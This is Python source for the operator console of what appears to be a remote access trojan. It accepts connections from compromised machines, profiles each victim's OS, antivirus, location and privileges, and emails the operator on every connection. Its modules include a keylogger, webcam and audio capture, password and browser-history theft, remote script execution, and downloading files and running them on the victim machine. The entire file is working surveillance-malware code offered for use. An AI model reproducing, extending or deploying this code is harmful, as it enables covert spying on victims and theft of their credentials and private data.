def download(message): assert message['file'] filename = validate_dict_key(message, 'file') execute = validate_dict_key(message, 'execute') username = state['session']['username'] make_directories([username, f'{username}/downloads']) root = f'{state["root"]}/{username}/downloads/{filename}' message['max_file_size'] = state['settings']['max-file-size'] if execute: del message['execute'] data = session_message(message, False, loading_text='downloading file...') download = validate_dict_key(data, 'download', False) if download: with open(root, 'wb') as f: f.write(download) if execute: os.startfile(root) status_message(data['message'], data['text_mode'])
def close_client(index, module_type, write_stdout=True): state['sockets']['modules'][module_type][1][int(index)][0].close() if write_stdout: status_message( f'{module_type.capitalize()} client successfully closed', 'success')
def stdout(low_message, message): if low_message == '': status_message(None, 'program') else: status_message( f'\'{message["message"]}\' command could not be found\nUse \'help\' command for assistance', 'warning')
def interpreter(message): execute = validate_dict_key(message, 'execute') script = validate_dict_key(message, 'script') quiet = validate_dict_key(message, 'quiet') assert execute or script if script: parent_folder = state['settings']['folders']['parent'] child_folder = state['settings']['folders']['child'][1] message['execute'] = read_file( f'{state["root"]}/{parent_folder}/{child_folder}/{script}').decode( state['settings']['encoding']) del message['script'] if quiet: del message['quiet'] data = session_message(message, False) result = validate_dict_key(data, 'result') if result: if quiet is None: status_message(data['result'], 'pure', {'end': True}) print() make_file(['interpreter'], 'txt', bytes(data['result'], state['settings']['encoding']), data['message']) else: status_message(data['message'], data['text_mode'])
def unbind_socket(module_type): for _ in range(len(state['sockets']['modules'][module_type][1])): close_client('0', module_type, False) state['sockets']['modules'][module_type][0].close() state['sockets']['modules'][module_type][0] = None status_message(f'{module_type.capitalize()} address successfully closed', 'success')
def enter_session(message): index = validate_dict_key(message, 'index') if index: state['session'] = {'active': True, 'socket': state['sockets']['clients'][0][int(index)], 'username': state['sockets']['clients'][2][int(index)]['username'], 'data': None} status_message('Session succesfully established', 'success') else: raise Exception('Error message')
def exit_session(write_stdout=True, data=None): state['session'] = { 'active': False, 'socket': None, 'username': None, 'data': data } if write_stdout: status_message('Session successfully exited', 'success')
def exit_program(): status_message(f'Exiting {state["name"]}', 'danger', { 'dots': True, 'end': True }) for i in range(len(state['sockets']['clients'][0])): delete_client(i, False) os._exit(0)
def make_file(directories, file_type, data, success_message=None): filename = get_filename(file_type) username = state['session']['username'] path = f'{state["root"]}/{username}/{directories[-1]}/{filename}' directories_to_make = [username] + [f'{username}/{directory}' for directory in directories] make_directories(directories_to_make) with open(path, 'wb') as f: f.write(data) if success_message: status_message(f'Path: {path}\n{success_message}', 'success')
def session_queue(): while True: for index in range(len(state['sockets']['clients'][0])): if time.time() - state['sockets']['clients'][2][index][ 'timer'] >= state['settings']['keep-alive-count']: state['settings']['dynamic']['queue'].append( (state['sockets']['clients'][0][index], { 'message': 'bbCF2NNYjjTfHELUV9Y2qmkV' }, False)) state['sockets']['clients'][2][index]['timer'] = time.time() if state['settings']['dynamic']['queue']: for item in state['settings']['dynamic']['queue']: try: send_data( item[0], item[1], (state['settings']['encryption'], state['settings']['encoding'], state['settings']['headersize']), { 'safe': state['options']['mode']['safe'], 'safe_timeout': state['settings']['safe-timeout'] }) data = recv_data(item[0], (state['settings']['encryption'], state['settings']['headersize'])) if item[2]: state['session']['data'] = data except Exception as err: write_error(err) if item[2]: exit_session( False, { 'message': 'Timeout reached waiting for client response\nClient had to be disconnected', 'text_mode': 'danger' }) elif state['session']['socket'] is item[0]: exit_session(False) print() status_message( 'Timeout reached waiting for client response\nClient had to be disconnected', 'danger') delete_client(index, False) finally: state['settings']['dynamic']['queue'].remove(item) else: time.sleep(0.1)
def cam(data): ip = validate_dict_key(data, 'ip') port = validate_dict_key(data, 'port') unbind = validate_dict_key(data, 'unbind') resolution = validate_dict_key(data, 'resolution') monitor = validate_dict_key(data, 'monitor') close = validate_dict_key(data, 'close') status = validate_dict_key(data, 'status') fps = validate_dict_key(data, 'fps') fit = validate_dict_key(data, 'fit') recognize = validate_dict_key(data, 'recognize') if resolution: assert state['session']['active'] if ip and port: data['ip'], data['port'] = ip, int(port) else: data['ip'], data['port'] = state['sockets']['modules']['cam'][0].getsockname() if monitor: data['monitor'] = int(monitor) else: data['monitor'] = 0 if fps is None: data['fps'] = False if fit: del data['fit'] if recognize: del data['recognize'] del data['resolution'] threading.Thread(target=cam_action, args=(tuple([int(x) for x in resolution.split(',')]), recognize, fit), daemon=True).start() session_message(data) elif ip and port: if state['sockets']['modules']['cam'][0] is None: bind_socket(ip, port, 'cam') else: ip, port = state['sockets']['modules']['cam'][0].getsockname() status_message(f'You are already listening for clients (cam module) on {ip}:{port}', 'danger', {'dots': True}) elif unbind: if state['sockets']['modules']['cam'][0]: unbind_socket('cam') else: status_message(f'You\'re not listening for clients (cam module)\nThere is no server socket (cam module) to close', 'warning') elif close: close_client(close, 'cam') elif status: if state['sockets']['modules']['cam'][0]: ip, port = state['sockets']['modules']['cam'][0].getsockname() status_message(f'You are listening for clients (cam module) on {ip}:{port}', 'primary') else: status_message('You are not listening for clients (cam module)', 'warning') else: raise Exception('Error message')
def bind_socket(ip, port, module_type, stdout=True): try: state['sockets']['modules'][module_type][0] = socket.socket( socket.AF_INET, socket.SOCK_STREAM) state['sockets']['modules'][module_type][0].bind((ip, int(port))) state['sockets']['modules'][module_type][0].listen() except Exception as err: write_error(err) state['sockets']['modules'][module_type][0] = None raise Exception('Socket binding error') else: if stdout: status_message( f'{module_type.capitalize()} address successfully bound', 'success')
def delete_client(client, write_stdout=True): state['sockets']['clients'][0][client].close() state['sockets']['clients'][0][client] = None username = state['sockets']['clients'][2][client]['username'] if state['options']['information-gathering']['history']: make_directories([username]) with open(f'{state["root"]}/{username}/history.txt', 'a') as f: f.write(f'{username} disconnected at {get_timestamp()}\n') for index, item in enumerate(state['sockets']['clients']): del state['sockets']['clients'][index][client] if write_stdout: status_message('Client successfully deleted', 'success')
def loading(text, blacklist): if state['settings']['loading-animation']: start_time = time.time() while True: for i in range(len(text)): if not state['settings']['dynamic']['is-loading']: sys.exit(0) if text[i].lower() in blacklist: continue text = text[:i].lower() + text[i:].capitalize() time_taken = time.time() - start_time status_message(f'[{time_taken:.1f}] {text}', 'loading', {'end': True}) time.sleep(0.1) else: status_message(text.capitalize(), 'loading', {'end': True})
def make_image(directories, data, show_image=True, success_message=None, image_type=None): filename = get_filename('png') username = state['session']['username'] path = f'{state["root"]}/{username}/{directories[-1]}/{filename}' directories_to_make = [username] + [f'{username}/{directory}' for directory in directories] make_directories(directories_to_make) if image_type is None or (image_type and state['options']['information-gathering']['save']['screenshot']) or (not image_type and state['options']['information-gathering']['save']['cam-screenshot']): data.save(path) if show_image: data.show() if success_message: if image_type is None or (image_type and state['options']['information-gathering']['save']['screenshot']) or (not image_type and state['options']['information-gathering']['save']['cam-screenshot']): status_message(f'Path: {path}\n{success_message}', 'success') else: status_message(success_message, 'success')
def session_message(message, piped_data=True, loading_text='loading...'): data = session_wait((state['session']['socket'], message, True), loading_text) text_mode = validate_dict_key(data, 'text_mode') text_extras = validate_dict_key(data, 'text_extras') if state['options']['information-gathering']['backup']['text']: make_file(['backup', 'backup/text'], 'txt', bytes(data['message'], state['settings']['encoding'])) if state['options']['information-gathering']['backup']['image']: make_image(['backup', 'backup/image'], text_to_image(data['message']), False) if piped_data: if text_mode is None: status_message(data['message'], 'pure') else: if text_extras: status_message(data['message'], text_mode, text_extras) else: status_message(data['message'], text_mode) else: return data
def func_wrapper(*args): try: number_of_arguments = len(args) if number_of_arguments == 1: func(args[0]) elif number_of_arguments == 2: func(args[0], args[1]) elif number_of_arguments == 3: func(args[0], args[1], args[2]) elif number_of_arguments == 4: func(args[0], args[1], args[2], args[3]) elif number_of_arguments == 5: func(args[0], args[1], args[2], args[3], args[4]) elif number_of_arguments == 6: func(args[0], args[1], args[2], args[3], args[4], args[5]) elif number_of_arguments == 7: func(args[0], args[1], args[2], args[3], args[4], args[5], args[6]) except Exception as err: write_error(err) if state['session']['active'] and func.__name__ in [ *state['sockets']['modules'] ]: func_key = validate_dict_key(help_obj, f'{func.__name__}_2', False) elif func.__name__ == 'listening': func_key = validate_dict_key(help_obj, 'listen', False) else: func_key = validate_dict_key(help_obj, func.__name__, False) if func_key: status_message( f'An exception was reached, please verify your input & try again\nUsage: {func_key["usage"]}', 'danger') else: status_message( 'Exception was reached, something went wrong\nPlease validate your input & try again', 'danger')
def server(message): ip = validate_dict_key(message, 'ip') port = validate_dict_key(message, 'port') status = validate_dict_key(message, 'status') unbind = validate_dict_key(message, 'unbind') if port and ip: if state['sockets']['server'] is None: threading.Thread(target=listening, args=(ip, port), daemon=True).start() else: ip, port = state['sockets']['server'].getsockname() status_message( f'You are already listening for clients on {ip}:{port}', 'danger', {'dots': True}) elif status: if state['sockets']['server']: ip, port = state['sockets']['server'].getsockname() status_message(f'You are listening for clients on {ip}:{port}', 'primary') else: status_message('You are not listening for clients', 'warning') elif unbind: if state['sockets']['server']: state['sockets']['server'].close() state['sockets']['server'] = None for index, client in enumerate(state['sockets']['clients'][0]): delete_client(index, False) status_message( 'You\'re no longer listening for clients\nServer socket is now closed', 'success') else: status_message( f'You\'re not listening for clients\nThere is no server socket to close', 'warning') else: raise Exception('Error message')
def keylogger(message): run = validate_dict_key(message, 'run') download = validate_dict_key(message, 'download') close = validate_dict_key(message, 'close') status = validate_dict_key(message, 'status') quiet = validate_dict_key(message, 'quiet') if run: message['action_type'] = 'run' del message['run'] session_message(message) elif download: message['action_type'] = 'download' del message['download'] data = session_message(message, False) logs = validate_dict_key(data, 'logs') if logs: if quiet is None: status_message(logs.decode(state['settings']['encoding']), 'raw') print() make_file(['keylogger'], 'txt', logs, data['message']) else: status_message(data['message'], data['text_mode']) elif close: message['action_type'] = 'close' del message['close'] session_message(message) elif status: message['action_type'] = 'status' del message['status'] session_message(message) else: raise Exception('Error message')
def make_history(directories, file_type, browserhistory, success_message=None): filename = get_filename(file_type) username = state['session']['username'] path = f'{state["root"]}/{username}/{directories[-1]}' directories_to_make = [username] + [ f'{username}/{directory}' for directory in directories ] make_directories(directories_to_make) for browser, history in browserhistory.items(): with open(f'{path}/{browser}_{filename}', 'w', encoding='utf-8', newline='') as csvfile: csv_writer = csv.writer(csvfile, delimiter=',', quoting=csv.QUOTE_ALL) for data in history: csv_writer.writerow(data) if success_message: status_message(f'Path: {path}/[browser]_{filename}\n{success_message}', 'success')
def program_setup(): parser = argparse.ArgumentParser(description=state['description']) parser.add_argument('-ip', '--ipv4', default='localhost', help='IP of host.') parser.add_argument('-p', '--port', type=int, default=1200, help='Port of host.') args = parser.parse_args() try: get_io_channels() threading.Thread(target=listening, args=(args.ipv4, str(args.port), False), daemon=True).start() for index, module in enumerate([*state['sockets']['modules']]): bind_socket(args.ipv4, str(args.port + (index + 1)), module, False) except Exception as err: write_error(err) status_message( 'Socket binding error, please verify IP / port argument', 'danger', {'end': True}) raise Exception('Argument parsing error') threading.Thread(target=session_queue, daemon=True).start() status_message(text_to_ascii(state['name']), 'pure', {'end': True}) print() status_message(state['description'], 'pure', {'end': True}) print() status_message(state['author'], 'pure', {'end': True}) print() status_message(None, 'program')
def audio(data): ip = validate_dict_key(data, 'ip') port = validate_dict_key(data, 'port') run = validate_dict_key(data, 'run') quiet = validate_dict_key(data, 'quiet') unbind = validate_dict_key(data, 'unbind') close = validate_dict_key(data, 'close') status = validate_dict_key(data, 'status') if run: assert state['session']['active'] if ip and port: data['ip'], data['port'] = ip, int(port) else: data['ip'], data['port'] = state['sockets']['modules']['audio'][0].getsockname() if quiet: del data['quiet'] del data['run'] threading.Thread(target=audio_action, args=(quiet,), daemon=True).start() session_message(data) elif ip and port: if state['sockets']['modules']['audio'][0] is None: bind_socket(ip, port, 'audio') else: ip, port = state['sockets']['modules']['audio'][0].getsockname() status_message(f'You are already listening for clients (audio module) on {ip}:{port}', 'danger', {'dots': True}) elif unbind: if state['sockets']['modules']['audio'][0]: unbind_socket('audio') else: status_message(f'You\'re not listening for clients (audio module)\nThere is no server socket (audio module) to close', 'warning') elif close: close_client(close, 'audio') elif status: if state['sockets']['modules']['audio'][0]: ip, port = state['sockets']['modules']['audio'][0].getsockname() status_message(f'You are listening for clients (audio module) on {ip}:{port}', 'primary') else: status_message('You are not listening for clients (audio module)', 'warning') else: raise Exception('Error message')
def list_clients(): number_of_clients_connected = len(state['sockets']['clients'][0]) clients_list = state['sockets']['clients'][1] all_clients = [] if number_of_clients_connected == 0 and state['sockets']['server'] is None: status_message(f'Use \'listen\' command to enable clients to connect\nConnected clients can be listed & interacted with', 'primary', {'end': True}) elif number_of_clients_connected == 0: status_message('You are listening for clients\nBut none are currently connected', 'primary', {'end': True}) else: for index, addr in enumerate(clients_list): user_data = state['sockets']['clients'][2][index] all_clients.append([index, user_data['monitors'], user_data['cams'], user_data['io-channels'], f"{user_data['username']}", user_data['address'], user_data['os'], user_data['antivirus'], user_data['location'], user_data['privileges']]) status_message(tabulate.tabulate(all_clients, headers=['Index', 'Monitors', 'Cams', 'I/O Channels', 'Username@Hostname', 'Address', 'Operating System', 'Antivirus', 'Location', 'Privileges']), 'pure', {'end': True}) print() status_message(None, 'program')
def sockets(): if state['sockets']['server']: ip, port = state['sockets']['server'].getsockname() status_message('Server:', 'magenta', {'end': True, 'point': 'empty'}) status_message(f' - Listening', 'pure', {'end': True}) else: status_message('Server:', 'magenta', {'end': True, 'point': 'empty'}) status_message(f' - Not listening', 'pure', {'end': True}) for key, value in state['sockets']['modules'].items(): if value[0]: ip, port = value[0].getsockname() status_message(f'{key.capitalize()}:', 'magenta', { 'end': True, 'point': 'empty' }) else: status_message(f'{key.capitalize()}:', 'magenta', { 'end': True, 'point': 'empty' }) status_message(' - Not listening', 'pure', {'end': True}) continue if len(value[1]) == 0: status_message(' - None running', 'pure', {'end': True}) else: for index, module_client in enumerate(value[1]): status_message(f' - [{index}] {module_client[1]}', 'pure', {'end': True}) print() status_message(None, 'program')
def options(message): key = validate_dict_key(message, 'key') value = validate_dict_key(message, 'value') available = validate_dict_key(message, 'available') if key and value: key_list = key.split('/') key_len = len(key_list) assert key in options_list[0] value = validate_option(value, options_list[1][options_list[0].index(key)]) if key_len == 2: state['options'][key_list[0]][key_list[1]] = value elif key_len == 3: state['options'][key_list[0]][key_list[1]][key_list[2]] = value elif key_len == 4: state['options'][key_list[0]][key_list[1]][key_list[2]][ key_list[3]] = value else: raise Exception('Key length is invalid') status_message(f'Option: {key} is now set to {value}', 'success') elif available: options = state['options'] categories = ['mode', 'validation', 'information-gathering', 'notice'] for categorie in categories: option_category = options[categorie] status_message(f'{categorie.capitalize()}:', 'magenta', { 'end': True, 'point': 'empty' }) for key, value in option_category.items(): if 'dict' in str(type(value)): status_message(f'- {key.capitalize()}:', 'magenta', { 'end': True, 'point': 'empty' }) for key_2, value_2 in value.items(): status_message( f' - {key_2.capitalize()}: {value_2}', 'pure', {'end': True}) else: status_message(f' - {key.capitalize()}: {value}', 'pure', {'end': True}) print() status_message(None, 'program') else: raise Exception('Error message')
def get_help(): all_commands = [] for key, value in help_obj.items(): all_commands.append([value['type'], value['usage'], value['description']]) status_message(tabulate.tabulate(all_commands, headers=['Available', 'Usage', 'Description']), 'pure')
def recover(message): password = validate_dict_key(message, 'password') history = validate_dict_key(message, 'history') quiet = validate_dict_key(message, 'quiet') force = validate_dict_key(message, 'force') if force is None: message['force'] = False if password: del message['password'] message['action_type'] = 'password' if quiet: del message['quiet'] data = session_message(message, False) if quiet is None: text = [x for x in data['message'].split('\n') if x != ''] count = 0 for line in text: if line[:3] == '[+]': print() status_message(line[4:], 'success', { 'end': True, 'point': 'empty' }) elif line[:3] == '[-]': print() status_message(line[4:], 'danger', { 'end': True, 'point': 'empty' }) elif line[:19] == '-------------------': if count != 0: print() count += 1 status_message(line, 'raw') else: status_message(line, 'raw') print() make_file(['recover', 'recover/password'], 'txt', bytes(data['message'], 'utf-8'), 'Passwords succesfully recovered') elif history: del message['history'] message['action_type'] = 'history' if quiet: del message['quiet'] data = session_message(message, False) if quiet is None: for browser, browser_data in data['message'].items(): browser = browser.capitalize() for link, title, date in browser_data: status_message(f'{browser}: {link}, {title}, {date}', 'pure', {'end': True}) print() make_history(['recover', 'recover/history'], 'csv', data['message'], 'Browser history succesfully recovered') else: raise Exception('Error message')
def listening(host, port, stdout=True): try: state['sockets']['server'] = socket.socket(socket.AF_INET, socket.SOCK_STREAM) state['sockets']['server'].bind((host, int(port))) state['sockets']['server'].listen() except Exception as err: write_error(err) state['sockets']['server'] = None if stdout: raise Exception('Socket binding error') else: sys.exit(0) else: if stdout: status_message(f'Listening on port {port}', 'success', { 'dots': True, 'point': 'dot' }) while True: try: client, addr = state['sockets']['server'].accept() except Exception as err: write_error(err) break try: send_data( client, { 'message': 'CsBLDS4n5zPYq7JaxDjxWHK4', 'silent': state['options']['mode']['silent'], 'io_channels': state['settings']['io-channels'] }, (state['settings']['encryption'], state['settings']['encoding'], state['settings']['headersize']), { 'safe': state['options']['mode']['safe'], 'safe_timeout': state['settings']['safe-timeout'] }) data = recv_data(client, (state['settings']['encryption'], state['settings']['headersize'])) data.update({'timer': time.time()}) add_client = True if os.path.isfile( f'{state["root"]}/{state["settings"]["folders"]["parent"]}/blacklist.txt' ): blacklist = read_file( f'{state["root"]}/{state["settings"]["folders"]["parent"]}/blacklist.txt' ).decode(state['settings']['encoding']).strip().split('\n') for ip in blacklist: try: ip = socket.gethostbyname(ip) except Exception as err: write_error(err) if addr[0] == ip: add_client = False if not state['options']['validation']['duplicates']: for client_data_obj in state['sockets']['clients'][2]: if data['username'] == client_data_obj['username']: add_client = False if len(state['sockets']['clients'] [0]) >= state['options']['validation']['max-clients']: add_client = False if add_client: if state['options']['information-gathering']['history']: make_directories([data['username']]) with open( f'{state["root"]}/{data["username"]}/history.txt', 'a') as f: f.write( f'{data["username"]} connected at {get_timestamp()}\n' ) data_list = (client, addr, data) if state['options']['information-gathering']['whoami']: make_directories([data['username']]) with open(f'{state["root"]}/{data["username"]}/whoami.txt', 'a') as f: title = f'Whoami at {get_timestamp()}' text = f'Monitors: {data["monitors"]}\nCams: {data["cams"]}\nI/O Channels: {data["io-channels"]}\nUsername@Hostname: {data["username"]}\nAddress: {data["address"]}\nOperating System: {data["os"]}\nAntivirus: {data["antivirus"]}\nLocation: {data["location"]}\nPrivileges: {data["privileges"]}' f.write(f'{title}\n{text}\n{"-" * len(title)}\n') for index, item in enumerate(state['sockets']['clients']): item.append(data_list[index]) if state['options']['notice']['email-notice']: send_email( state['options']['notice']['email-data']['email'], state['options']['notice']['email-data']['password'], state['options']['notice']['email-data']['to'], 'Connection Notice!', f'Connection at {get_timestamp()}\nMonitors: {data["monitors"]}\nCams: {data["cams"]}\nI/O Channels: {data["io-channels"]}\nUsername@Hostname: {data["username"]}\nAddress: {data["address"]}\nOperating System: {data["os"]}\nAntivirus: {data["antivirus"]}\nLocation: {data["location"]}\nPrivileges: {data["privileges"]}' ) else: client.close() except Exception as err: write_error(err)